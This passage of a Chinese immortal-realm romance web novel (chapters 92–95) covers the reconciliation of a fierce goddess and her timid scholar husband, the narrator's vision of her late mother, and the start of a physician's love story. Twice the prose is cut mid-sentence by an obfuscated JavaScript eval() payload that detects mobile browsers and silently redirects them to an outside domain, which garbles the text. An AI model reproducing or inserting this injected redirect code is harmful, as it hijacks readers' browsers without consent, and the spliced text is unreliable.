“好可怜的枕书君。” “怎么偏偏嫁给摄魂天女啊……可怜。” 窃窃私语如风过耳,云枕书偷瞄身侧之人,却见她神色如常,仿佛未闻。 “元君?” “干嘛?” “那些闲言碎语……元君不介意吗?” “他们说我在欺负你,我介意什么?”东婝挑眉看向惴惴不安的自家夫君,“怎的,你生气了?” “没、没生气……” “要不要我去把那些多嘴的揍一顿?” “别别别!我真没生气!”云枕书急得连连摆手,“我们快些走吧,莫让大仙久等。” 说罢竟加快脚步独自前行。 东婝胸中怒火骤起。 “站住!”她一把拽住云枕书的衣袖,“你能不能有点脾气?该怒则怒,该争则争!你这般懦弱,算什么神仙!算什么男人!” 云枕书被吼得呆立当场,袖中的手微微发抖:“元君别生气……我……” “上什么茶,我不去了!”东婝甩开他的衣袖,转身化作一道流光,“滚回你的书阁躲一辈子去吧!” 只留云枕书独自站在云端,脸上火辣辣的疼。他望着东婝消失的方向,终是苦笑着摇了摇头,继续缓步向前走去。 北雷真君正摆弄着手中的玄铁竹节,忽见一道青影踏入院门。抬头望去,竟是新婚第二日的妹夫。 “枕书君?这个时辰,怎么来天工院了?” 这个点,该在蓬莱第几宫给爹爹上茶才对。 云枕书拢袖一揖,“北雷真君。我想将书阁的典籍尽数带走,不知可有适用的神器?” 北雷手中的竹节“咔”地一声折断:“全部?蓬莱第几宫与书阁不过咫尺之遥,何须……”话音戛然而止,他忽然眯起眼睛,“你要搬去何处?” “霜洲地界。”云枕书轻声道。 “新婚次日就要分居?”北雷笑了声,将断竹掷于案上,“东婝又口不择言了?她那脾气你又不是不知。” “元君没错。”云枕书抬眼,眸中碎雪消融,竟透出几分释然,“她说得很对——我这般懦弱之人,合该与古籍相伴终生。” 北雷静默片刻,终是转身取出一方青玉匣推至他面前。 “也罢。霜洲倒也算清净。” “多谢真君。” 云枕书离开蓬莱仙岛时,未曾与东婝道别。 半月后,当有仙人寻不到他的踪迹,向东婝问起时,她才惊觉——她的夫君,早已携着满阁书卷,悄无声息地消失在霜洲的茫茫雪色里。 其实在二人相亲之前,云枕书便已是蓬莱众仙子争相求娶的对象。 提亲的仙娥踏破了门槛,却无一例外被他婉拒。 有传言说,他心中早有所属,只是不便言明。 确实不便。 若叫人知晓,这位温润如玉的书阁真君,竟暗恋那位杀伐果决的摄魂天女数百年……怕是要沦为整个仙界的笑柄。 东婝元君若知道,怕不是会一怒之下,烧光他的书阁。 ——太丢人了。 一南一北,一柔一刚,毫不相配的两个人,怎可能喜结连理? 若不是方大仙一句话,云枕书宁愿躲东婝一辈子。 “枕书君与砚清是同龄,还是略长几百岁?” 云枕书垂眸,“回大仙,枕书与砚清相差一千五百岁。” 方大仙轻笑一声:“相差一千五百岁的挚友?不错。”他背过身去,袖袍在风中微动,“你,可愿与东婝结为夫妻?” 云枕书猛地抬头,瞳孔微颤:“我?大仙为何——” “枕书君博览群书,想必……桑竹留下的那本预言册,你也看过了吧?” 空气骤然凝固。 云枕书指尖一紧,低声道:“请大仙责罚。那书……是整理典籍时无意翻到,并非刻意窥探……” “吾并非问罪。”方大仙的声音忽然轻了下来,“只是想说,若你已看过桑竹写下的天命,便该知道——东婝此生的姻缘,当属一个与她截然相反的爱书之人。” 云枕书的喉结滚动了一下:“我知道……” “这九天十地,论痴于书道,谁及你三分?” “可是元君她……”他声音发涩,“绝不会愿意下嫁于我。” “确实。”方大仙长叹一声,“幸而那孩子不像南风,尚不敢违逆吾命。” 云枕书蓦然上前半步:“强求姻缘,岂非适得其反?” 方大仙回眸看他,眼底竟有一丝怜悯:“所以……只能委屈你了。” 为了替东婝抹去“痴恋摄魂天女、无人敢娶”的污名,方大仙亲手为她系上红线。 而红线的另一端,是云枕书百年寂寥的书阁。 【梦溯流光】 我注视着陷入回忆的云枕书,突然意识到什么。 “那时逢莱替我解惑,枕书脑子里出现的人,就是二姐吧?” 当年情窦初开的南风,曾向云枕书请教“喜欢一个人是什么感觉”。那时神情恍惚的云枕书,描述心上人时的模样,想必是想起了东婝。 这次云枕书没有像从前那样回避,而是坦然承认。 “那可是元君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056805|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。可是救过我一命的元君啊。” “啊?我怎不知二姐救过你的命?” 他眼中泛起回忆的波光,缓缓道:“最早的书阁建在海崖边。那年大潮卷走几册古籍,我怕水,站在岸边急得仙术忘净。是元君路过,替我把书捞了回来。” “没、没了?” 好短……的故事。 “不止。天君那里有几本三界孤本,我只是随口说想看看书里的内容,元君就去求大仙,上天请天君割爱。” “难怪有段时间二姐突然对爹爹当牛做马——等等,这么说来,二姐其实也挺喜欢你的?” 竟是个两情相悦的佳话?! 云枕书并不这么认为。 “确定不是看我可怜,又与你交情颇深吗?而且……捡起书后,被元君痛骂了一顿,又挨了两个巴掌。书到手后,肿着半张脸,熬夜将书全部读完。” “……” 我心疼云枕书,视野边缘忽然掠过一抹紫影。还以为是谈及二姐产生的幻觉,吓我一跳。 “嗯……不会吧……” 那身影起初只是树影间一抹模糊的轮廓,转瞬间却已逼近眼前。在云枕书反应过来之前,一只脚已经抬起,只见紫衣翻飞—— “砰” 一声闷响,云枕书整个人被踹飞出去,重重撞在几十里外的神树高枝上,像个破布娃娃般挂在树杈间,一动不动。 “元、元君……” 枕书君,晕。 “二姐!” 我欢快地扑上去抱住二姐。她却先一步扣住我的肩膀,急切道:“你没受伤吧?” 我茫然摇头:“我很好啊。倒是枕书君他……” 远处树枝上挂着的人影,似乎仍未恢复意识。 我迟疑地问:“二姐经常来此吗?” “怎么可能。” 转念一想,也是。 “你先跟我回家。” “我?” 不是应该先管云枕书吗? 二姐不由分说拽着我走向停在不远处的仙鹤。我猛地挣开:“不行!我不要回家!” 她眼底窜起怒火,“再不回家你就真玩儿完了!爹爹知道了你和黑无常做的事,马上就杀过来了!” “死了更好,死了了百了。” “说什么混账话!” 掌风骤至。 脸火辣辣地疼。 我捂着脸错愕地抬头,正对上二姐苍白的唇和发抖的手。 “南、南风……姐姐……姐姐不是故意的……”她声音发颤,想碰我又缩回手,“疼不疼?让姐姐看看……” 我摇了摇头,“没事……二姐每次打枕书君,也是用的这个力道吗?” “对不起……是不是很疼?我……我……” “看来是了。” 我缓步走向那棵神树,小心翼翼地将将醒未醒的云枕书从枝头扶下。他的衣袍上还沾着树皮的碎屑,整个人轻飘飘的,像片随时会散去的云。 “枕书君没有错,他没有做错任何事情。二姐不该因为他是你丈夫,又书生气太重,就处处欺负他。二姐这样是不对的。” 让云枕书靠坐在树干旁,我转身直视二姐。她眼眶通红,手指紧紧绞着衣袖,哪还有半点摄魂天女的威风。 我冷声道:“等枕书君醒来,二姐一定给枕书君,真心实意地道歉!” 让高傲的摄魂天女低头认错,简直比剜她的心还难。 可云枕书又做错了什么? 我脸上这一巴掌尚且火辣辣地疼,那云枕书经年累月承受的掌掴,又该是何等痛楚? “二姐若是当真不喜欢云枕书,不如一纸休书,给彼此个解脱。” 二姐踉跄后退半步,脸上血色尽褪。我深吸一口气,直视着二姐,每个字都咬得极重—— “放过云枕书吧。” 93. 冰肌香透 云枕书虚弱地倚在树下,断裂的肋骨在二姐的仙术下渐渐愈合。 我跪坐在他身旁,而二姐则坐在对面,时不时抬眼偷瞥我的神色。 “南风……你的脸……还疼吗?” 我摇摇头,露出浅笑安慰:“我没事了。这一巴掌,倒打醒了我。” “抱歉……” 道歉的声裹夹着轻微哭腔。 “是我说错了话。知错能改,善莫大焉。二姐也要记得答应我的事。” 二姐低下头,声音几不可闻:“嗯……我会和他好好谈谈的。” 我欣慰地起身,“爹爹追杀来之前,我得赶紧跑了。” “你又要去哪儿?”二姐急忙追问。 “不知道,先跑吧。” “我骗你的,爹爹还什么都不知道。我是担心你,怕你出什么事,一追到来此。以为他……以为他想对你做什么不轨之事。” 我不禁失笑:“他可是元枕书啊,喜欢二姐百年都不敢表白的人,他敢做什么?” 二姐怔愣,“百年?” 于是,我将云枕书告诉我的故事,原原本本、一字不差地说给了二姐听。 “我一直……”二姐沉下眸子,“当他是被爹爹被逼无奈,才不得不与我成亲的。” “难道二姐这些年对他百般刁难,是想让他知难而退?” 二姐没有回答,只是垂下的眼睫轻轻颤了颤。 这实在不像我熟悉的二姐。记忆中,她对我们兄妹从来都是温柔至极。娘亲早逝后,身为长女的二姐几乎扛起了半个家。 哥哥整日泡在天工院,十天半月不见人影;爹爹又是个不靠谱的性子;我和西雨,可以说是二姐一手带大的。 难怪我和西雨成了这副性子…… “二姐,”我轻声问道,“你待枕书君,是不是有什么特别的缘由?” “什么特别缘由?” “比如……其实你也挺喜欢枕书君?” “也?” 她误会了什么,我随即解释:“枕书君是……砚清的挚友,放心,我与他清白得很。倒是二姐,可曾对他动过情?” 蓬莱赫赫有名的东婝元君竟一时语塞,怔怔地望着远处出神。 能让这位以一敌百的战神失神至此,看来我这问题确实问到了要害。 “这样吧!我换个问题!”实在看不惯二姐呆傻的模样,我主动出声打断,连忙改口,“二姐当初为何要帮枕书君?” “看他可怜。” 啊……好直接的回答。 我不死心地追问:“不对不对!你再想想!就没有什么……除了可怜以外的?比如,想到他时心里发痒,手心发热,按捺不住想……” “有。” “有?!那岂不是——” “想揍他。” “……” 我望着二姐认真思索的表情,突然为枕书君往后的日子深感忧虑。 树下躺平的仙似乎感应到什么,在昏迷中轻轻打了个寒颤。 枕书君,恕我无能,只能帮你到此了。 【东婝枕书】 南风离去后,雪地里只余下两人相对跪坐的身影。云枕书其实早已清醒,却迟迟不敢睁眼。 直到想起元君方才答应南风不再动手的承诺,他才敢慢慢睁开眼。淡紫色的衣袖映入眼帘,云枕书下意识地绷紧了身子。 “元君……” 沉默良久,他终于鼓起勇气开口。颤抖的手指从怀中取出纸笔,在变幻出的方桌上摊开。 东婝看着摊在变化出的方桌上的纸笔,反问:“这是何意?写休书吗?你要休了我?” “不是我……是元君。我不想成为元君烦心事。不想被元君讨厌……” 她早该料到,方才与南风的对话,这人一字不落都听去了。可此刻心头翻涌的情绪却让她迟迟无法决断。 为什么会犹豫不决?留这个软弱无能的人在身边干嘛?还被爹爹责骂,一怒下竟打了南风…… 无数困惑堵在胸口,压得她几乎窒息。 雪落无声。 良久,紫色衣袖忽然抬起。东婝执起毛笔,袖摆轻拢,在纸上落下墨痕。云枕书见状,唇角泛起一丝苦涩的笑。 一刻钟后,东婝搁笔,将写满字的宣纸转向云枕书。 “约法三章。我不会再对你出手,你也不许再处处为了我的名声而独自生闷气。” 意料之外的话,惊得云枕书僵住。 “什么?” 东婝垂下眼帘,长睫在雪光中投下淡淡的阴影:“既然敢应下爹爹的婚约,就该做好与我并肩面对流言蜚语的准备。而不是一个人躲在书阁里生闷气。” 云枕书怔忡地望着眼前人,反复确认纸上字迹,又细细端详东婝的神色,想要读懂她突然转变的缘由。 “元君……为何突然……” “纸上第三条,不许再叫我元君。”东婝抬眸与之相视,“你我既是夫妻,该以姓名相称。抑或是……夫人?” 云枕书,蓬莱仙岛最负盛名的玉面郎君。多少仙子为他这副皮相神魂颠倒,唯独眼前这人,从不曾为他的容貌驻足。 东婝凝望他,一抹绯红爬上耳尖,羞涩心上起,索性拽住他的衣襟,直直吻了上去。 这个本该在洞房花烛夜完成的吻,却在霜洲地界的千年神树下姗姗来迟。 东婝的动作太过急切,云枕书被她拽得一个踉跄,两人双双跌落在厚厚的积雪中。生涩的唇齿相碰,不小心磕到了牙齿,淡淡的血腥味在唇间弥漫开来。 云枕书整个人都僵住了。他不敢推开,却也舍不得推开。 那只悬在半空的手迟疑许久,终于轻轻落在东婝腰间。 他缓缓闭上眼睛,任由这个带着铁锈味的吻继续下去。 东婝微微眯起眼睛,居高临下地打量着云枕书那张俊美的脸庞。 “真想把你脑袋敲开,看看里面到底是浆糊还是豆腐渣。” “哪一个都不行吧……” 见身下之人完全没领会自己的弦外之音,东婝气得牙痒,强忍着怒意,只用指尖在他腰间轻轻一拧。 “两个都是榆木疙瘩。” “两、两个?”云枕书突然慌了神,声音都跟着发颤,“难道元君与他人……” “我说的是你和我!”东婝气得在他肩上捶了一记,“除了你这个傻子,谁敢靠近我?” 云枕书心头涌起一阵狂喜,鼓起毕生最大的勇气,将东婝紧紧搂在怀中。 “我……我……”他声音发颤,“我心悦元君已久!” “还叫元君?舍不得改口了?” 四目相对间,云枕书抿了抿唇,颤抖着捧起东婝的脸庞,在她唇边落下轻吻: “夫人,我爱你。” 至于后来云枕书为何继续留在霜洲地界并未回蓬莱……故事还是继续讲完吧。 东婝被这突如其来的直球打得措手不及,耳尖瞬间红得滴血。她下 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“自那日海岸你救下我的书,也框住了我的心。我的视线、我的书卷,皆是你。” “……” “元君……这当真不是梦吗……” 颤抖的声线里渗出泪意。 东婝蹙着眉听完看完了所有,最终叹了口气,慢慢放松下来。她悄悄将脸埋进云枕书肩头,藏起嘴角不自觉扬起的弧度。 “不是梦,不是幻境,是比话本更真实的你我。” 霜洲的雪还在下,却再不复往日寒凉。 不知是谁先起了头,随后便一发不可收拾。 不知天地为何物,忘了道德伦理,忽视霜雪,不去在乎日光与月光的交叠。 朦胧摇曳的身影,脸色和身体始终泛着桃色。 本该冷得蜷缩在被窝的季节,却沉闷的令人喘不过气,变成夏季般黏腻的热,褪不去的饥渴。 “你继续留在霜洲地界吧,清净得好。” “可大仙会怪元君的。” “他只会逼我一次又一次来劝你回去。”东婝眼尾微扬,雪光映得她眸中碎星浮动,“不正好?我也趁机来此散散心。” 云枕书收紧了环住东婝的手臂,脸颊无意识地蹭着她的发顶,声音闷闷的: “我会想你的……” 东婝忍不住戳他额头:“你这呆子,这种时候不是该直接留我吗?” “可蓬莱第几宫——” “说归说,实际归实际,就不懂讨我欢心吗?” 云枕书笑着翻身,雪地上留下两人相偎的凹痕。 他本要将书中读过的缠绵情话尽数倾诉,却在看清东婝面容的刹那哽住——那张脸上再不见往日冰霜,只余令他心颤的温柔。 喉间突然涌上酸涩,他仓皇低头,泪水已浸湿东婝衣襟。 “真的……真的不是梦……”颤抖的双臂将怀中人箍得更紧,几乎要揉进骨血里,“真的是你……” 雪落无声,霜洲的寒意被体温驱散。云枕书终于止住颤抖,却仍不肯松手,仿佛一放开,东婝便会如梦境般消散。 东婝无奈,指尖轻抚过他发红的眼尾:“笨蛋。再苦,有你那挚友和南风苦吗?” “那倒没有……” “行了,穿好衣服,回忆结束,该去接八年后的南风了。” 94. 抚琴弄雪 【梦溯流光】 “你醒了。” 睁开眼,我正蜷在柳砚清的臂弯里。暖衾紧裹,两人依偎如眷恋巢穴的兽,洞外风雪无声,尘世远隔。 “砚清……” 念出名字,我突然委屈起来,一把环住他的腰。头顶传来他低低的笑声,无奈又宠溺。 “怕我又离开,不告而别吗?” “嗯……因为你还没答应我。” 在听见肯定的承诺前,我一刻也无法安心。 我将脸埋在他胸前,卑微道:“你为我做了那么多,我也想好好报答你,好好陪着你……不行吗?” 砚清的手指仍轻轻梳理着我卷翘的长发,迟迟没有回应。 这个问题对于两情相悦的人,如此难以启齿吗? 还是说,从头到尾都是一厢情愿,是我……庸人自扰? “笨蛋。” “啊?” 他轻笑着拥紧我。 “饿不饿?我去准备早膳。” 我在他怀里摇头,“我要听你亲口答应……我们之间,是不是发生过什么?因为颜卿?还是因为……那场逃婚?” 他的身体突然僵住,抽身而起,手臂从我颈下撤离。 “今天客人有到访,我去帮你准备热水。” 我踉跄着撑住床沿,望着他仓皇离去的背影,心口像被冰锥刺穿般生疼。 “讨厌……” 穿衣,洗漱,用早膳,裹上厚厚的斗篷——我始终紧盯着他,看他为我打点一切。 即便我像个废人般任他摆布,他也只是沉默,动作轻柔却疏离。 我的问题,就这般难以回答?还是说……他不愿与我共度余生? 厚重的披风系紧后,他抬手将我鬓边碎发别至耳后,唇角微扬:“好了,走吧。” 见他转身要走,我立马抓住他的衣袖。 柳砚清纯然地回眸,过于无辜,我竟忘了自己要说什么。 “没……” 手指缓缓松开,委屈如潮水漫涌,眼眶酸胀得发疼。我别过脸,径直越过他向外走去。 “南风。” 身后传来他难得的轻唤。我脚步一顿,泪水却已先一步坠下。 冰冷的手掌突然覆上我的手背,他修长的手指穿过我的指缝,牢牢扣住。另一只手轻轻拭去我颊边的泪痕,眉目间漾开浅淡却温柔的笑意。 “我牵着你。” 这句话像一把钥匙,瞬间打开了我所有压抑的情绪。 我猛地扑进他怀里,攥紧拳头捶打他的胸膛,声音哽咽得发颤:“我讨厌你……” “嗯。”他任由我发泄,手臂却收得更紧。 “我真的……真的好讨厌你啊……” 泪水浸透弄脏了他的衣襟。 “嗯,我知道。” 他的下巴轻轻抵在我发顶,声音里藏着说不尽的疼惜。 “可我还是舍不得放开你。” 晨光破晓时,一头雪色神鹿踏云而来,鹿角上缠绕着淡金色的晨曦。 它引着我们穿过最后一片雾霭,霜洲的万里晴空便在眼前豁然展开。 柳砚清的掌心虽无温度,我却感受到一丝温暖,薄茧轻轻摩挲着我的指节。 我们就这样踩着新化的雪水慢慢走,我不问去向,也不问归期。 这世间万千道路,但凡有他并肩而行,便是人间至幸。 “我方才说的反话……你知道的吧?”我歪头问道。 他了然笑道:“嗯,我知道。” 心脏又在扑通直跳。 一棵神树下,我突然站定,蹲身捡起地上的树枝,在雪地里画下两张笑脸。满足地起身后,对着神似柳砚清的那张脸狠狠踩上一脚。 “我们扯平啦。” “……好。” 穿过几处祭坛和神鹿栖息林,远处终于出现神兽以外的影子。 “南风!” “哥哥?还有……二姐?” 没想到砚清所谓的访客,竟然是哥哥二姐。 我下意识攥紧了柳砚清的手。他无奈地捏了捏我的脸颊,温声道:“我不能与你同去,在外头等你。” “上次你也是这般说的。”我故意不看他的眼睛,声音闷闷的,“我不信。” 哥哥负手踱步而来,他笑着用折扇轻点柳砚清的肩膀:“哥哥帮你看着,不许他走。” 我的目光在二人之间来回游移,最终松开了紧握的手:“嗯,哥哥是可信的。” 砚清闻言失笑,抬手替我理了理被风吹乱的额发和披风,唤出仙蝶变成温暖的手炉。 “这就不必了吧。” “洞内湿冷,怕你冷。若是不需要,只管告知仙蝶。” “嗯。” 山洞幽深,冰晶般的石壁折射出朦胧微光。 越往里走,光线越发黯淡,直至只剩潭水泛起的细碎波光。一泓清潭中央,立着一面无框的镜子,水面无风自动,涟漪轻荡。 “水镜唯有桑竹仙子的血亲可见。”哥哥的声音在身侧响起,“哥哥和二姐在外头等你。三千年前,娘亲临走前特地嘱咐,将来定要带你来此。” 我静静听完哥哥的话,忽然抓住他话中的关键:“血亲?桑竹仙子……是娘亲?娘亲已经不在了?” 二姐轻轻点头:“娘亲生下你后,因病仙逝。” “又是我……” 我低下头,耳边隐约传来一声闷响,像是谁挨了一拳,但我无心理会。 “南风!”哥哥突然重重拍向我的后背,力道大得让我一个踉跄,声音沉如雷震,“不是你的错。人各有命,若什么错都要揽到自己身上,你当自己有多大能耐?扛得住吗?” 我攥紧手炉,声音发抖:“可事实如此……我怎能视而不见?” 刚挨了一拳的二姐揉着手臂走过来,伸手揉了揉我的头顶,温声道:“好了,先去看看水镜吧。有事只需喊一声,二姐瞬息便至!” “嗯……”我指尖微蜷,迟疑地望向兄长,“哥哥怎会在此?” 北雷广袖一振,眸中浮起一丝佯怒:“怎的?哥哥跟不得?” “可你跟来……”我蹙眉望向洞外,“砚清独自在外,若逃了怎么办?” “小妹如今,竟这般不信他?”他轻笑一声,袖中忽地滑出一道流霞般的金索,凌空一抖便铮然作响,“无妨,缚仙索在此——他若敢逃,‘咔’——”五指一收,金石之音戛然而止。 我心头稍安,正要转身,却听兄长压低嗓音:“记住,无论看见何物,切莫——” “哎呀!”二姐突然扬袖打断,发间朱钗随着她的动作轻晃,“让孩子自己看!南风早已不是稚童,何须你步步紧盯?”她冲我眨眼,“对吧?” “二姐此言……”我攥紧袖口,苦笑道,“反倒令我惴惴不安了。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056807|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你的因果,本该知晓。”二姐指尖点在我眉心,温度如初雪消融,“纵使窥见将来……亦是天命予你的馈赠。” “嗯……我知道了。” 洞中幽寂,唯有滴水声回荡。 我凝视着那泓平静的水面,忽然想起方才二姐无意间踏水而立的身姿。鬼使神差间,我学着她的模样,小心翼翼地伸出脚尖轻点水面—— “咚!” “呜啊!好冰!” 掉下去了。 寒意刺骨,瞬间没至脚踝。我踉跄跌坐,却听腰间玉笛自鸣,清音乍破。 暖流随笛声盘旋而上,衣摆水痕转瞬蒸腾如烟。 水镜生纹,雾散径现。 竹径幽深,我握紧玉笛缓步前行。穿过摇曳的翠影,忽见空地青石上静坐着一位青衣女子。 她低眉抚笛,肌肤如新雪般剔透,长睫在眼下投下淡淡的阴翳。当她蓦然抬眼时—— 那是一双令人心悸的眼睛。 漆黑如墨,清冷似玉,仿佛寒潭中浸着的两丸黑曜石。 几缕碎发被风拂至唇边,她却浑不在意。 我怀中的玉笛突然挣脱,落入她手中。笛声呜咽,似将千年光阴都揉碎在这曲调里。我怔立原地,任凭往昔记忆随乐声漫上心头。 曲终时,她转头望来。 那张与二姐七分相似的脸上,绽开冰雪初融般的笑意:“南风。” 我浑身战栗,喉间挤出的字句破碎不堪:“……娘亲?” 扑进她怀中的刹那,三千年执念轰然坍缩成真。原来爹爹未曾骗我——竹林深处,当真藏着一场不敢奢望的重逢。 “我的南风长大了。” 幻影的怀抱竟暖得真切。 我死死攥住她的衣襟,泪水浸透竹青衣料,仿佛稍一松手,她便会随晨露消散。 娘亲的手轻抚过我的发间,指尖温度熟悉得令人心碎。 “数年不见,我的南风又长大了。”她捧起我的脸,嗓音如竹林间的风,“来,让娘亲好好看看你。” 我苦笑着回应:“三千多年也算数年吗……” 我仰起头,终于看清这张在记忆里泛黄的面容——她比二姐更清瘦,眉间一点朱砂似血,眸底仿佛沉淀着整条星河。分明是幻影,却真实得让我连呼吸都发颤。 “爹爹说……”我喉头哽咽,泪水模糊视线,“说在竹林能见到娘亲……所以我……” “所以你在蓬莱第几宫种下一片又一片竹林。不止是蓬莱仙岛,还有诸多地方。” 娘亲的眼中闪过一丝痛楚,她捧起我的脸,拇指轻轻擦去我脸上的泪痕。 “时辰不多了。”娘亲凝望着我,眸光如镜,“两道情劫,只能择其一。南风……选谁?” 我鼻尖发酸,“我已做出选择……可他……” 她忽然笑了,牵着我站起身。素手轻挥,水镜泛起涟漪。 “此镜可窥过去。”她转头看我,“南风可想看清柳砚清?” 我攥紧她的衣袖,重重点头。 娘亲唇角微扬,仿佛早已知晓答案。 “那便从医仙葛榆……与疏花元君的故事说起吧。” 我瞳孔微缩:“我没有猜错!医仙和花神……可神书记载,花神的夫君不是墨神?” “看完故事,你就知道了。关于‘颜卿’的真相,也会一并告知。” 她袖摆轻拂,水镜骤然大亮—— 95. 浅霜侵绿 医鹿山的清晨总是带着药草的清香。葛榆踏过沾满露水的草地,长发随意束在脑后,宽大的衣袖被山风鼓起。他弯腰查看新栽种的黄精,忽然听见山谷传来不寻常的声响。 葛榆皱眉直起身,常年行医的敏锐让他立刻循声而去。穿过一片茂密的忍冬藤,他在一丛杂乱的树丛中看见一团凌乱的彩云。 不,那不是云。 彩云中伸出一只染血的手,指甲如花瓣般透着淡淡的粉。 葛榆快步上前,轻轻拨开缭绕的云气。彩云散开,露出张苍白如纸的脸。月白衣裙上绣着百种花卉,此刻却被血染红了大片。 疏花元君在剧痛中睁开眼,看见的是一双温润如玉的眼睛。 凡人?!她下意识想召出护体仙光,却因伤势过重只咳出一口血来。 “别动。箭上有毒。” 葛榆小心地扶起疏花,发现她背后插着半支断箭。 猎户的弓箭怎么会射中天宫的神仙?不过眼下要紧是先带花神回医鹿山取出断箭,替她疗伤。 “多有冒犯,元君暂且忍耐一下。” 他告罪一声,将疏花打横抱起。 疏花想挣扎,却发现自己连指尖都动不了,只能任由这个陌生人抱着她穿过树林,走进不远处一间茅草覆顶的木屋。 屋内药香浓郁,葛榆将她放在竹榻上坐,让虚弱的疏花暂且早在自己身上。 “凡人的方法怕在元君身上不合适……多有得罪。” 基近昏厥的疏花看着葛榆熟练地焚香净手,解开自己身前的腰带和衣襟,胸口朝下趴在榻上。 疏花心下,此人应当不是普通医者,难道是人界修炼的医仙,名为葛……下一刻剧痛袭来,她彻底陷入黑暗。 再次醒来时,屋内点着安神的檀香。疏花元君发现自己趴在榻上,背后伤口被敷了药,清凉舒适。她试着动了动手指,仙力恢复了些许。 “元君醒了?”葛榆端着药碗进来,见她睁眼,眉眼舒展开来,“正好。身子可有好些?” 疏花元君戒备地盯着那碗黑乎乎的药汁。 “你是……医仙,葛榆?” “正是。”葛榆将药碗放在她手边,“此处医鹿山,元君中箭倒在林中。” “中箭……”疏花沉吟,“我循着花香一路至此,不想被凡人误认为林间的野兽。好在医仙及时发现,多谢相救。” “元君可在医鹿山安心养伤,若有需要,只管招呼山中弟子。” “多谢。” 葛榆不便打扰,起身准备离开。疏花颔首致谢后,不由多看了他一眼。不同天宫的仙,眼前的医仙更像凡尘间的男子,举手投足间皆与众男仙不同。 手中的汤药温热,药汁入口的瞬间,疏花差点吐出来。又苦又腥,还带着诡异的辛辣。葛榆早有预料般递上一碟蜜饯:“良药苦口。” 疏花连吃三块蜜饯才压下那可怕的味道。 窗外忽然传来沙沙声,她转头望去,看见山坡上大片光秃裸露的黄土。 “那里是……” “去年山火所毁。”葛榆顺着她视线看去,“因是天火,恐怕恢复还需几十年,或是几百年。” 疏花元君心中一动:“可否带我去看看?或许,我能帮上忙。” 葛榆想劝阻,却在她倔强的眼神中妥协,取来一件外袍披在她肩上。 “切莫逞强。” 天火烧毁的土地呈现黝黑,缝隙中甚至能看见点点火星。 疏花用脚步丈量了一圈,终于寻到一处焚毁不算严重的。踩上泥土的刹那,地面立刻冒出点点绿芽。她惊喜地蹲下身,指尖轻触地面,更多嫩芽破土而出。 “这是?”葛榆惊讶地看着瞬间破土而出的绿色。 “树。”疏花元君微笑,“神树的生命力远比寻常花草强,但愿它能继续生长。待它长大,根系会慢慢净化这片土地,将土壤里残留的天火余力吸取干净。” 她欣慰地起身,却忽然踉跄了一下,葛榆连忙扶住她。 “今日先到此吧,我带元君回房那个歇息。”他不由分说将她抱回屋内,动作轻柔却不容拒绝。 疏花伏在他肩头,闻到他身上混合着药草与阳光的气息,莫名安心。 “多谢医仙。” 七日转瞬即逝。 在疏花的神通与葛榆的医术共同滋养下,树苗抽枝展叶,青翠的生机已初见规模。 “还未请教元君,种下的是何树?” 疏花指尖轻点嫩叶,含笑反问:“医仙希望它是什么?” “我?”葛榆微怔,目光落向远处。风掠过他的鬓发,带起一阵清苦药香。 他沉吟道:“若要根系深固,当择枝干遒劲之木……比如,槐树?” “槐花是……” 槐花,正是司花名录中,专属于疏花元君的象征。 疏花耳尖蓦地染上绯色。她低头拨弄幼苗,余光却瞥见身旁人正望着树影出神。 “医仙的本名……”她轻声道,“可便告知?” “单名一个卿字。” “葛卿?” “元君呢?” “我的原名姓颜。” 当晚,疏花元君在梅树下向葛榆告别。 “百花宴在即,明日我必须回天宫了。” 月光为她镀上银边,美得不似凡尘中人。 葛榆沉默良久,从怀中取出一枚香囊:“药草香囊,可安神。” 疏花元君接过香囊,指尖相触的瞬间,两人都像被烫到般缩了缩。 “我……还能来医鹿山吗?还能来寻医仙,看望树苗吗?”疏花元君低声询问。 “当然。元君若想,随时欢迎。” 忽然,抬眸相视的瞬间,似有什么往心底扎根。 “我就在蓬莱仙岛……或许,医仙会有去仙岛采药的时候……” 葛榆怔愣片刻,垂下眸子,试探着捏住疏花的指尖。 “会有的。” 旋即,疏花化作一缕香风消失在月色中。 葛榆站在梅树下,直到露水打湿衣襟。 此后三年,葛榆以寻访珍稀药材为由频繁往返蓬莱仙岛。每次都会“偶遇”采集仙葩的疏花。他们在花神居所——百花秘境中相会,疏花教他辨认仙草,他则为她讲述人间见闻。 这日,葛榆刚到秘境,就被疏花拉进一片牡丹丛中。 “天宫有人来。”她紧张地传音。葛榆立刻屏息,听见不远处传来脚步声。 “元君?疏花元君?”是个仙娥的声音。 疏花元君示意葛榆别动,自己整理衣衫走出花丛:“找我何事?” “墨神大人派人来问,下月纳采之礼的礼服式样。”仙娥恭敬道。 葛榆望见疏花背影一僵,随即说道:“按旧例便是。” 待仙娥离去,葛榆从花丛中站起,脸色苍白:“纳采之礼?” 疏花不敢看他:“天君百年前就将我指婚给墨神了。” 沉默如重锤落下。 “为何从未与我提及?” “因为……我不知如何告知……我不想与你分开。” 葛榆忽然抓住她的手:“跟我走吧,去人间。” “你疯了吗!”疏花元君抽回手,“若被天君发现,你我都活不了。” “难道要我眼睁睁看你嫁给别人?”葛榆眼中燃着她从未见过的火焰,“你不是说,不想与我分开吗?” 